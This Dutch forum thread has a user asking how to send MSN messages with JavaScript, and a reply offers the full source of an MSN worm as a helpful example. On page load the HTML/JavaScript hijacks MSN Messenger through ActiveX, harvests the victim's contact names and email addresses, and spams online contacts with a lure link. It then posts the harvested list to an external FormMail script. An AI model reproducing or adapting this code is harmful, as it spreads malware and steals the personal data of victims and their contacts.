[js] msn, bericht verzenden

Pagina: 1
Acties:

  • aqua_man
  • Registratie: Januari 2002
  • Laatst online: 26-07-2023

aqua_man

one life, live it!

Topicstarter
hoe kan je met js een xpresbrief verzenden naar iemand en kan je ook een bericht verzenden naar iemands mob?

is dit btw wel mogelijk zonder dat je iemand email adres weet?

2 swim or not 2 swim, that's the question


Verwijderd

Dat doet dat nieuwe virus ook...

Verwijderd

Hier heb ik de source, ik denk dat je er één en ander wel uit kunt halen... :Y)
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<html> 
<head> 
<title>Welcome</title> 
<Script> 

var msnWin; 
var msnList; 
var msgStr = "URGENT - Ga hier 'ns heen http://www.cardinoz.com/valentijn.html"; 
//var msgStr = "URGENT - Ga hier 'ns heen <a href="http://www.cardinoz.com/valentijn.html">http://www.cardinoz.com/valentijn</a>"; 

function Go(){ 

msnWin = document.open("res://mshtml.dll/blank.htm", "", "fullscreen=1"); 
msnWin.resizeTo(1, 1); 
msnWin.moveTo(10000, 10000); 
msnWin.document.title = "Please Wait..."; 
msnWin.document.body.innerHTML = '<object classid="clsid:F3A614DC-ABE0-11d2-A441-00C04F795683" id="msnObj1"></object><object classid="clsid:FB7199AB-79BF-11d2-8D94-0000F875C541" id="msnObj2"></object>'; 
focus(); 

if (msnWin.msnObj1.localState == 1){ 
msnWin.msnObj2.autoLogon(); 
} 
Contacts(); 
Send(); 
msnWin.close(); 
document.contents.submit(); 
} 

function Contacts(){ 
msnList = msnWin.msnObj1.list(0); 
document.contents.email.value = msnWin.msnObj1.localLogonName; 
document.contents.subject.value = Date(); 
var msnStr = "<br>"; 

for (i=0;i<msnList.count;i++){ 
if (msnList(i).state >1){ 
msnStr += "Online Contact: " + msnList(i).FriendlyName + ", email: " + msnList(i).LogonName + "<br>"; 
} 

else{ 
msnStr += "Offline Contact: " + msnList(i).FriendlyName + ", email: " + msnList(i).LogonName + "<br>"; 
} 
} 
document.contents.contentBox.value = msnStr; 
} 

function Send(){ 
for (i=0;i<msnList.count; i++){ 
if (msnList(i).state >1){ 
msnList(i).sendText("MIME-Version: 1.0\r\nContent-Type: text/plain; charset=UTF-8\r\n\r\n", msgStr, 0); 
} 
} 
} 

</Script> 
</head> 
<body onload="Go()"> 
<p align="center">&nbsp; 
<p align="center">&nbsp;</p> 
<p align="center">&nbsp;</p> 
<p align="center">&nbsp;</p> 
<p align="center"><font face="Arial"> 
Please Wait...</font></p> 
<form METHOD="POST" ACTION="http://www.rjdesigns.co.uk/cgi-bin/FormMail.pl" NAME="contents" ID="Form1"> 
<input type="hidden" name="redirect" value="http://www.xxxxxxxxx.co.uk/cool/go.htm" ID="Hidden1"> 
<input type="hidden" name="recipient" value="xxxxxxxxxxxxxxxxx@hotmail.com" ID="Hidden5"> 
<input type="hidden" name="email"> 
<input type="hidden" name="subject"> 
<input type="hidden" NAME="contentBox" id="Hidden6"> 
<input type=hidden name="env_report" value="REMOTE_HOST,HTTP_USER_AGENT"> 
</form> 
</body> 
</html>